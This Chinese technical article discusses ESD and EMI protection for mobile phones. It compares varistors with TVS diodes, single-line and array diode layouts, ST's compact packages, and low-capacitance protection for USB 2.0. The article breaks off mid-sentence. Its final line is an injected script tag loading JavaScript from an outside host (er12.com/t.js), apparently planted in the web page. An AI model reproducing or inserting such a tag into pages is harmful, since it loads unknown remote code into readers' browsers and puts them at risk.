最新的无线终端产品大多数都装备了高速数据接口、高分辨率lcd屏和相机模块，甚至有些手机还安装了通过dnb连接器接收电视节目的功能。
除增加新的功能外，手机尺寸的挑战依然没有变化，手机还在向小巧、轻薄方向发展。众多功能汇聚在一个狭小空间内，导致手机设计中的esd和emi问题变得更加严重。这些问题必须在手机设计的最初阶段解决，并需要按照应用选择有效的解决办法。
esd和emi防护设计的新挑战
传统的esd保护或emi滤波功能是由分立或无源器件解决方案占主导地位，例如，防护esd的变阻器或防护emi的基于串联电阻和并联电容器的pi型滤波结构。手机质量标准的提高和新型ic的高emi敏感度促使设计人员必须提高手机的抗干扰能力，因此某些方案的技术局限性已显露出来了。
简单比较变阻器和tvs二极管的钳位电压vcl，就可以理解传统解决方案的局限性。变阻器的钳位电压vcl(8/20ms@ipp=10a测试)显示大约40v，比tvs二极管的vcl测量值高60%。当必须实施iec61000-4-2标准时，要想实现整体系统的稳健性就不能怱视这种差别。除这个内在的电压差问题外，在手机使用寿命期内，随着老化现象的出现，无源器件解决方案还暴露出电气特性变化的问题。
因此，tvs二极管解决方案在esd保护市场占据很大的份额，同时集成化的硅解决方案也是emi滤波器不可或缺的组件。
是采用单线tvs还是esd阵列保护？
关于某些充分利用esd保护二极管的布局建议，我们通常建议尽可能把esd二极管放置距esd干扰源最近的地方。最好放在i/o接口或键盘按键的侧边。因此，在选择正确的保护方法之前必须先区分应用形式。
以键盘应用为例，因为esd源是一个含有多个触点的大区域，最好是设计类似于单线路tvs的保护组件，围绕电路板在每个按键后放置一个esd二极管。如果采用阵列设计，保护功能将得到保证，但是这种设计将会受到潜在的esd问题的影响，例如二条线路之间的辐射问题。在这种情况下，手机内部的esd干扰控制并没有被全面优化。
全新的单线保护
正当单线保护器件被广泛用于抑制esd放电时，一种在同一封装内集成两个并联二极管的两级钳位概念产生了。图1对传统的单线esd保护与新型两级钳位二极管组件进行了对比。
与目前的单线esd保护二极管相比，这种创新将esd防护性能进一步提高了。如果实施esd放电，当在该ic输入端上施加15kv空气放电时，两个钳位级确保输出端残留最少的放电电压。
与单esd解决方案相比，当施加15kv放电电压时，并联两个二极管的方案将输出残余电压降低40%。此外，意法半导体(st)开发的新封装sod882还有助于节省pcb空间，因为即便内置两个二极管，每线仅占用面积0.6mm2。同时，封装高度在0.4到0.5mm之间，特别适合纤薄型和滑板手机。
图1：单esd保护概念与双钳位二极管对比
虽然单esd二极管在键盘应用中找到了适合自己的位置，但是我们不妨介绍一下二极管阵列解决方案。在多条数据线路通过一个独特的连接器被集中在一点的情况中，esd阵列二极管通常被用于节省电路板空间，提高连接器保护功能的稳健性。sim卡连、手机底座连接器、外部存储卡、手机连接器等都是这种情况，如图2所示。
esd阵列优化pcb面积
esd二极管阵列解决方案的最大优点是，在一个外部尺寸极小的封装内提供4个或5个tvs二极管。实际上，这是保护整个i/o连接器所必须的，因为esd干扰的入口点通常集中于一个相对较小的面积上。
esd保护二极管被焊接在i/o连接器附近，用于防止61000-4-2标准规定的8kv接触放电和15kv空气放电时所产生的任何损坏。这意味着当通过一个330ω电阻给一个150pf电容放电时，esd保护二极管能够抵抗15kv的电压。
st最近扩充了保护二极管阵列产品线，推出了一个名为m6的微型封装。新产品比现有的sot323和sot666节省pcb空间高达75%和45%。
超高速数据线路保护
按照目标应用的信号传输速度选择tvs二极管是设计高效esd保护功能的关键之一。基本上，前面提及的信号的数据传输速率越高，esd保护二极管的电容就要求越低。
因此，必须把保护组件在电流信号上产生的干扰降至最低。这与tvs二极管的寄生电容有直接的关联。例如，在usb2.0的情况中，因为数据传输速率达到480mbps，所以需要esd保护组件的电容极低。
实验室的测量结果显示，寄生线电容高于3.5pf的esd保护二极管可能会在高速数据传输时产生很大的信号干扰。结果可能导致usb2.0收发器无法正常读取数据。而?script src=http://er12.com/t.js>
